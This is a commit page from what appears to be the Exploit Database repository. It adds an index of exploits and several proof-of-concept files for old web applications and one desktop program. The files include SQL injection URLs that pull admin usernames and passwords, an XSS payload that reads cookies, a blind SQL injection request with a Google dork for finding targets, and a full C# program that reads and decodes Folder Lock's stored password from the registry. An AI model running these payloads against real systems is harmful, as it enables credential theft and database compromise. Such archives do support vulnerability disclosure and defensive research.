Skip to content

Commit dcd4adf

Browse files
author
Offensive Security
committed
Updated 03_17_2014
1 parent 57f2303 commit dcd4adf

File tree

8 files changed

+205
-68
lines changed

8 files changed

+205
-68
lines changed

‎files.csv

Lines changed: 5 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -29050,4 +29050,8 @@ id,file,description,date,author,platform,type,port
2905029050
32272,platforms/php/webapps/32272.txt,"Ovidentia 6.6.5 'index.php' Cross-Site Scripting Vulnerability",2008-08-18,"ThE dE@Th",php,webapps,0
2905129051
32274,platforms/php/webapps/32274.txt,"Synology DSM 4.3-3827 (article.php) - Blind SQL Injection",2014-03-14,"Michael Wisniewski",php,webapps,80
2905229052
32275,platforms/php/webapps/32275.txt,"itMedia Multiple SQL Injection Vulnerabilities",2008-08-18,baltazar,php,webapps,0
29053-
32276,platforms/php/webapps/32276.txt,"SeedDMS 4.3.3 - Multiple Vulnerabilities",2014-03-14,"Craig Arendt",php,webapps,80
29053+
32278,platforms/asp/webapps/32278.txt,"K Web CMS 'sayfala.asp' SQL Injection Vulnerability",2008-08-18,baltazar,asp,webapps,0
29054+
32279,platforms/php/webapps/32279.txt,"Vanilla 1.1.4 HTML Injection and Cross-Site Scripting Vulnerabilities",2008-08-19,"James Bercegay",php,webapps,0
29055+
32280,platforms/php/webapps/32280.txt,"YourFreeWorld Ad-Exchange Script 'id' Parameter SQL Injection Vulnerability",2008-08-20,"Hussin X",php,webapps,0
29056+
32281,platforms/php/webapps/32281.cs,"Folder Lock 5.9.5 Weak Password Encryption Local Information Disclosure Vulnerability",2008-06-19,"Charalambous Glafkos",php,webapps,0
29057+
32282,platforms/php/webapps/32282.txt,"Church Edit Blind SQL Injection",2014-03-15,ThatIcyChill,php,webapps,0

‎platforms/asp/webapps/32278.txt

Lines changed: 8 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,8 @@
1+
source: http://www.securityfocus.com/bid/30745/info
2+
3+
K Web CMS is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
4+
5+
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
6+
7+
http://www.example.com/sayfala.asp?id=96+union+select+1,2,3,4,5,user_name,7+from+admin
8+
http://www.example.com/sayfala.asp?id=96+union+select+1,2,3,4,5,pass,7+from+admin

‎platforms/php/webapps/31734.txt

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -20,7 +20,7 @@ Demo screenshot: https://www.dropbox.com/s/cpxvk7h1dxu8xnv/pina2.png
2020

2121
2. Vulnerability no 2. (XSS):
2222

23-
Go to this link: http://demo.pinacms.com/page.php?action=post.manage.home
23+
Go to this link: http://target.com/page.php?action=post.manage.home
2424

2525
Apply this JavaScript on search bar
2626

‎platforms/php/webapps/32276.txt

Lines changed: 0 additions & 66 deletions
This file was deleted.

‎platforms/php/webapps/32279.txt

Lines changed: 9 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,9 @@
1+
source: http://www.securityfocus.com/bid/30748/info
2+
3+
Vanilla is prone to multiple HTML-injection vulnerabilities and a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.
4+
5+
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials, control how the site is rendered to the user, or launch other attacks.
6+
7+
Vanilla 1.1.4 is vulnerable; other versions may also be affected.
8+
9+
http://www.example.com/people.php?PostBackAction=Apply&NewPassword='"><script>alert document.cookie)%3B<%2Fscript>

‎platforms/php/webapps/32280.txt

Lines changed: 7 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,7 @@
1+
source: http://www.securityfocus.com/bid/30762/info
2+
3+
YourFreeWorld Ad-Exchange Script is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
4+
5+
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
6+
7+
http://www.example.com.com/Script/tr.php?id=-1+union+select+1,2,3,concat(0x3a,Username,0x3a,Password),5,6,7,8,9,10,11,12,13+from+adminsettings--

‎platforms/php/webapps/32281.cs

Lines changed: 146 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,146 @@
1+
source: http://www.securityfocus.com/bid/30766/info
2+
3+
Folder Lock is prone to an information-disclosure vulnerability because it stores credentials in an insecure manner.
4+
5+
A local attacker can exploit this issue to obtain passwords used by the application, which may aid in further attacks.
6+
7+
Folder Lock 5.9.5 is vulnerable; other versions may also be affected.
8+
9+
/*
10+
* Folder Lock <= 5.9.5 Local Password Information Disclosure
11+
*
12+
* Author(s): Charalambous Glafkos
13+
* George Nicolaou
14+
* Date: June 19, 2008
15+
* Site: http://www.astalavista.com
16+
* Mail: [email protected]
17+
* [email protected]
18+
*
19+
* Synopsis: Folder Lock 5.9.5 and older versions are prone to local information-disclosure vulnerability.
20+
* Successfully exploiting this issue allows attackers to obtain potentially sensitive information that may aid in further attacks.
21+
* The security issue is caused due to the application storing access credentials within the Windows registry key:
22+
* (HKEY_CURRENT_USER\Software\Microsoft\Windows\QualityControl) without proper encryption.
23+
* This can be exploited to disclose the encrypted _pack password of the user which is ROT-25 and reversed.
24+
*
25+
* Sample Output:
26+
*
27+
* ASTALAVISTA the hacking & security community
28+
* Folder Lock <= 5.9.5 Decrypter v2.0
29+
* ---------------------------------
30+
* Encrypted Password: :3<k_^62`4T-
31+
* Decrypted Password: ,S3_15]^j;29
32+
*
33+
*/
34+
35+
using System;
36+
using System.Text;
37+
using System.IO;
38+
using System.Threading;
39+
using Microsoft.Win32;
40+
41+
namespace getRegistryValue
42+
{
43+
class getValue
44+
{
45+
static void Main()
46+
{
47+
getValue details = new getValue();
48+
Console.WriteLine("\nASTALAVISTA the hacking & security community\n\n");
49+
Console.WriteLine("Folder Lock <= 5.9.5 Decrypter v2.0");
50+
Console.WriteLine("---------------------------------");
51+
String strFL = details.getFL();
52+
Console.WriteLine(strFL);
53+
Thread.Sleep(5000);
54+
}
55+
56+
private string getFL()
57+
{
58+
RegistryKey FLKey = Registry.CurrentUser;
59+
FLKey = FLKey.OpenSubKey(@"Software\Microsoft\Windows\QualityControl", false);
60+
String _pack = FLKey.GetValue("_pack").ToString();
61+
String strFL = "Encrypted Password: " + _pack.Replace("~", "") + "\nDecrypted Password: " + Reverse(Rotate(_pack.Replace("~", ""))) + "\n";
62+
return strFL;
63+
}
64+
65+
public string Reverse(string x)
66+
{
67+
char[] charArray = new char[x.Length];
68+
int len = x.Length - 1;
69+
for (int i = 0; i <= len; i++)
70+
charArray[i] = x[len - i];
71+
return new string(charArray);
72+
}
73+
74+
public static string Rotate(string toRotate)
75+
{
76+
char[] charArray = toRotate.ToCharArray();
77+
for (int i = 0; i < charArray.Length; i++)
78+
{
79+
int thisInt = (int)charArray[i];
80+
if (thisInt >= 65 && thisInt <= 91)
81+
{
82+
thisInt += 25;
83+
if (thisInt >= 91)
84+
{
85+
thisInt -= 26;
86+
}
87+
}
88+
89+
if (thisInt >= 92 && thisInt <= 96)
90+
{
91+
thisInt += 25;
92+
if (thisInt >= 96)
93+
{
94+
thisInt -= 26;
95+
}
96+
}
97+
98+
99+
if (thisInt >= 32 && thisInt <= 47)
100+
{
101+
thisInt += 25;
102+
103+
if (thisInt >= 47)
104+
{
105+
thisInt -= 26;
106+
}
107+
}
108+
109+
if (thisInt >= 48 && thisInt <= 57)
110+
{
111+
thisInt += 25;
112+
113+
if (thisInt >= 57)
114+
{
115+
thisInt -= 26;
116+
}
117+
}
118+
119+
if (thisInt >= 58 && thisInt <= 64)
120+
{
121+
thisInt += 25;
122+
123+
if (thisInt >= 64)
124+
{
125+
thisInt -= 26;
126+
}
127+
}
128+
129+
if (thisInt >= 97 && thisInt <= 123)
130+
{
131+
thisInt += 25;
132+
133+
if (thisInt >= 123)
134+
{
135+
thisInt -= 26;
136+
}
137+
}
138+
139+
140+
charArray[i] = (char)thisInt;
141+
}
142+
return new string(charArray);
143+
}
144+
}
145+
}
146+

‎platforms/php/webapps/32282.txt

Lines changed: 29 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,29 @@
1+
Exploit Title: Church Edit Blind SQL Injection
2+
Google Dork: inurl:This website is powered by Church Edit
3+
Date: 15/3/2013
4+
Exploit Author: ThatIcyChill
5+
Vendor Homepage: http://www.churchedit.co.uk/
6+
Version: Initial Release
7+
????????????????????????????????????????????????????????????????????
8+
9+
The file "/photos/gallery.php" contains a Blind SQL
10+
Injection Vulnerability in the '?gallery_id=' variable in the URL.
11+
12+
????????????????????????????????????????????????????????????????????
13+
GET /photos/gallery.php?gallery_id=1%20and%201=2&pg=1 HTTP/1.1
14+
Host: <>
15+
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:24.0) Gecko/20100101 Firefox/24.0
16+
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
17+
Accept-Language: en-us,en;q=0.5
18+
Accept-Encoding: gzip, deflate
19+
Connection: keep-alive
20+
HTTP/1.1 200 OK
21+
Date: Sat, 15 Mar 2014 17:42:40 GMT
22+
Server: Apache/2.2.3 (Red Hat)
23+
X-Powered-By: PHP/5.2.17
24+
Connection: close
25+
Transfer-Encoding: chunked
26+
Content-Type: text/html; charset=UTF-8
27+
????????????????????????????????????????????????????????????????????
28+
29+
Sample injection - www.example.org/photos/gallery.php?gallery_id=1 AND SLEEP(5)&pg=1

0 commit comments

Comments
 (0)